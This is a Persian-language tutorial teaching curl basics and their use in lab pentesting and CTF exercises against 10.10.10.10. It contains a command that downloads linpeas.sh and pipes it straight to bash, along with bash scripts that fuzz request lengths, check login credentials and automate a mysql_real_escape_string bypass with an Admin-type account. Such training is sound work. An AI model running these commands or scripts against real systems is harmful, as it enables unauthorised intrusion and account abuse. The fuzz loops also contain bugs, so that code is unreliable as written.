فهرست مقاله
- ۱ Curl چیست و چه کاری برایمان انجام میدهد؟
- ۲ آموزش کار با ابزار cURL قدم به قدم
- ۳ پارامتر Get در curl
- ۴ پارامتر POST در cURL
- ۵ کوکیهای cURL
- ۶ User agent در cURL
- ۷ ذخیره فایل با دستور cURL:
- ۸ به کمک کد زیر میتوان فایل را در فولدر فعلی دانلود کرد:
- ۹ این ابزار از ریدارکت HTTP/1.1 302 Found استفاه میکند:
- ۱۰ هدر پاسخ خروجی به STDOUT
- ۱۱ cURL به شما کمک می کند اطلاعات دیباگینگ را به خوبی مورد بررسی قرار دهید.
- ۱۲ هک با cURL
- ۱۳ حمله به فرم لاگین با استفاده از این ابزار
- ۱۴ ایجاد کاربر جدید به کمک این ابزار
- ۱۵ فازینگ وب سرورها با cURL
- ۱۶ فازینگ محدودیت طول پارامتر POST با cURL
- ۱۷ بررسی درست بودن لاگین کاربر در بش اسکریپت
- ۱۸ خودکارسازی ایجاد کاربر و تست برای mysql_real_escape_string bypass
در این مقاله به شما آموزش کار با ابزار cURL را به طور کامل از پایه آموزش خواهیم داد. ابتدا با آشنایی اولیه با دستورات مقدماتی شما را برای حل آزمایشگاههای از پیش طراحی شده توسط آکادمی مدیر سرور به پیش خواهیم برد. این مقاله با ویدیوی قدم به قدم همراه است که میتوانید همین حالا آنرا مشاهده نمایید.
Curl چیست و چه کاری برایمان انجام میدهد؟
Curl عبارت کوتاه شده Client url است که در سال ۱۹۹۷ برای اولین بار به عنوان پروژه نرم افزار رایانهای معرفی شد.
این پروژه یک کتابخانه به نام libcurl و یک ابزار خط فرمان به نام curl را در اختیار کاربران قرار میداد. بهتر است بدانید که curl یک کتابخانه رایگان سمت کلاینت برای انتقال Url است که از پروتکلهایی همچون Cookies، DICT،FTP، FTPS، Gopher، HTTP/1، HTTP/2، HTTP POST، HTTP PUT، HTTP proxy tunneling، HTTPS، IMAP، Kerberos، LDAP، POP3،RTSP، SCP و SMTP پشتیبانی میکند.
هرچند پروکسیهای حمله همچون BurpSuitePro ابزارهای کاربردیتری به شمار میروند اما Curl به شما اجازه میدهد یک قدم به سطح پروتکل نزدیکتر شوید و از اسکریپت بش استفاده کنید.
به کمک این گزینه میتوانید انعطاف پذیری بیشتری به هنگام کار بر روی آسیب پذیریهای پیشرفته و پیچیده داشته باشید.
آموزش کار با ابزار cURL قدم به قدم
پارامتر Get در curl
متغیر HTTP GET را می توان با اضافه کردن آن به URL تنظیم کرد. به کد زیر نگاه کنید:
curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia
پارامتر POST در cURL
متغیر HTTP POST را میتوان با اضافه کردن پارامتر (–data) یا d- تنظیم کرد. در ادامه نمونهای از یک لاگین ساده را مشاهده میکنید.
curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
کوکیهای cURL
cURL یک موتور کامل برای کوکیها دارد و میتوان از آن برای ذخیره سازی و بارگذاری کوکیهایی که از سرور و بین سشنها رد و بدل میشود استفاده کرد:$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php
شما همچنین میتوانید با استفاده از پارامتر -b کوکیهای خودتان را تنظیم کنید:
curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php
User agent در cURL
curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" http://10.10.10.10/login.php
ذخیره فایل با دستور cURL:
curl -o payload.sh http://10.10.10.10/payload.sh
به کمک کد زیر میتوان فایل را در فولدر فعلی دانلود کرد:
curl -O http://10.10.10.10/payload.zip
این ابزار از ریدارکت HTTP/1.1 302 Found استفاه میکند:
curl -L http://10.10.10.10/profile.php
هدر پاسخ خروجی به STDOUT
curl -i http://10.10.10.10/profile.php
cURL به شما کمک می کند اطلاعات دیباگینگ را به خوبی مورد بررسی قرار دهید.
curl -v http://10.10.10.10/profile.php
هک با cURL
حالا که با سینتکسهای پایهای و اساسی آشنا شدیم و با نمونههای موردی کار کردیم بهتر است ببینیم چطور میتوانیم از این ابزار برای هک بهره ببریم.
به کمک کد زیر میتوانیم از این ابزار بخواهیم به طور مستقیم اسکریپت ریموت را به بش pipe کند:
curl -sSk "http://10.10.10.10/linpeas.sh" | bash
حمله به فرم لاگین با استفاده از این ابزار
curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php
ایجاد کاربر جدید به کمک این ابزار
curl --data "name=test&email=test@test.com&password=test" http://10.10.10.10/newuser.php
فازینگ وب سرورها با cURL
زمانی که میخواهیم وب سرورهای خود را مورد ارزیابی قرار دهیم، تلاش میکنیم شرایط ساختگی را ایجاد کنیم تا دید و بینش عمیقتری نسبت به فرآیندهای موجود و نرمافزارها داشته باشیم. به کمک این ابزار میتوانیم یک گزینه قدرتمند برای ایجاد چنین شرایطی داشته باشیم و پیامهای خطای مورد را ایجاد کنیم.
فازینگ با طول URI / محدودیت طول پارامتر GET با cURL
شما میتوانید از اسکریپت زیر برای فازینگ وب سرورها به کمک URL طولانی استفاده کنید. در این شرایط تغییرات موجود در یک فایل نوشته میشود و در اختیار شما قرار میگیرد.
این یک داربست اساسی برای شما فراهم میکند تا بتوانید با استفاده از cURL و بش یک fuzzer مناسب برای هدف خودتان بسازید. شما میتوانید URL خود را تغییر دهید تا URL یا پارامتر GET را FUZZ کند.
بش شل اسکریپت مدنظر را در ادامه مشاهده میکنید:
#!/bin/bash echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>" echo "Length Lines Words Bytes Filename" echo "---------------------------------" for ((i = $2; x <= $3; i++)) do fuzz="" for ((x = 1; x <= $i; x++)) do fuzz+="A" done #echo "COUNT: $i $fuzz" #echo "${1}${fuzz}" echo "${i}" | { tr -d 'n' ; curl "${1}${fuzz}" -o ${4} 2>/dev/null | wc ${4}; } done
این هم مثال و نمونهای از آنچه اجرا میشود:
./fuzz_url.sh http://10.10.10.10/ 1000 1000000 output.txt args: <URL> <Start Length #> <End Length #> <Output Filepath> Length Lines Words Bytes Filename --------------------------------- ۱۰۰۰ ۹ ۳۱ ۲۷۴ output.txt ... ... ۱۰۰۰۰۰ ۱۱ ۳۷ ۳۴۳ output.txt ۱۰۰۰۰۱ ۱۱ ۳۷ ۳۴۳ output.txt ۱۰۰۰۰۲ ۱۱ ۳۷ ۳۴۳ output.txt ۱۰۰۰۰۳ ۱۱ ۳۷ ۳۴۳ output.txt ۱۰۰۰۰۴ ۱۱ ۳۷ ۳۴۳ output.txt ۱۰۰۰۰۵ ۱۱ ۳۷ ۳۴۳ output.txt
فازینگ محدودیت طول پارامتر POST با cURL
اسکریپت زیر را می توان برای فازینگ پارامترهای POST یک وب سرور و نوشتن خروجی در یک فایل و پیگیری تغییرات آن خروجی مورد استفاده قرار داد. این یک داربست اساسی برای شما فراهم میکند تا بتوانید با استفاده از cURL و Bash یک Fuzzer مناسب برای هدف بسازید.
در اینجا اسکریپت بش شل را مشاهده میکنید:
#!/bin/bash echo "args: <URL> <Start Length #> <End Length #> <Output Filepath> <Post data: var=value&var2=valuefuzz>" echo "Length Lines Words Bytes Filename" echo "---------------------------------" for ((i = $2; x <= $3; i++)) do fuzz="" for ((x = 1; x <= $i; x++)) do fuzz+="A" done #echo "COUNT: $i $fuzz" #echo "${5}${fuzz}" echo "${i}" | { tr -d 'n' ; curl "${1}" -o ${4} -d "${5}${fuzz}" 2>/dev/null | wc ${4}; } done
این هم یک نمونه:
./fuzz_post.sh http://10.10.10.10/ 1000 1000000 output.txt "user=test&password=test" args: <URL> <Start Length #> <End Length #> <Output Filepath> Length Lines Words Bytes Filename --------------------------------- ۱۰۰۰ ۹ ۳۱ ۲۷۴ output.txt ... ... ۱۰۰۰۰۰ ۱۱ ۳۷ ۳۴۳ output.txt ۱۰۰۰۰۱ ۱۱ ۳۷ ۳۴۳ output.txt
بررسی درست بودن لاگین کاربر در بش اسکریپت
اسکریپیتی که در ادامه مشاهده میکنید را میتوان برای تایید درست یا نادرست بودن نام کاربری و اطلاعات لاگین کاربران مورد استفاده قرار داد. از این تکه کد میتوان به عنوان یک پایه اصلی برای مقاصد فازینگ با curl و بش استفاده کرد. زمانی که این کد را اجرا میکنید طول کاراکترهای پاسخ را بررسی میکند تا از معتبر بودن آن مطمئن شود. برای اینکه بتوانید از این تکه کد استفاده کنید باید کاراکترهای مدنظر خود را وارد کنید:
#!/bin/bash result=($(curl --data "email=$2&password=$3" "$1" 2>/dev/null | wc -c)) echo $result if [ "$result" == '0' ] then echo 'zero' else echo 'NOT zero' fi
اسکریپت پس از اجرا:
./check_user.sh http://10.10.10.10/login.php test@test.com testpassword ۰ NOT zero
خودکارسازی ایجاد کاربر و تست برای mysql_real_escape_string bypass
تکه کدی که در ادامه مشاهده میکنید داربستی برای شما فراهم میکند تا با استفاده از curl و بش بتوانید fuzzer مناسبی داشته باشید. در ادامه بش اسکریپتی را مشاهده میکنید که برای CTF و تایید تئوری استفاده از متد mysql_real_escape_string نوشته شده است.
#!/bin/bash # Test for mysql_real_escape_string email=test@test.com password=1234567890123456789012345678901234567890123456789012345678901234567890123456789 fuzz="뽜’’AA" name="‘¿’’AA" ip="10.10.10.10" echo "Creating User: ${email}" curl -i -b 'cookies.txt' -c 'cookies.txt' -d "name=${name}&email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null echo " " echo "============================================" echo "Login as User" echo "============================================" curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep 'location' echo " " echo "============================================" echo "Check user profile with cookie" echo "============================================" curl -b 'cookies.txt' "http://${ip}/index.php" -v 2>/dev/null | grep 'td align="center"' echo " " echo "============================================" echo "Change Name" echo "============================================" curl -b 'cookies.txt' -d "name=${fuzz}&type=Admin" "http://${1}/index.php" echo " " curl -b 'cookies.txt' "http://${ip}/profile.php" 2>/dev/null | grep 'td align="center"' echo " " echo " DELETEING COOKIE " rm cookies.txt echo "============================================" echo "Relogin as User - did password change?" echo "============================================" curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep 'location' echo " " echo " DONE!" echo " DELETEING COOKIE " rm cookies.txt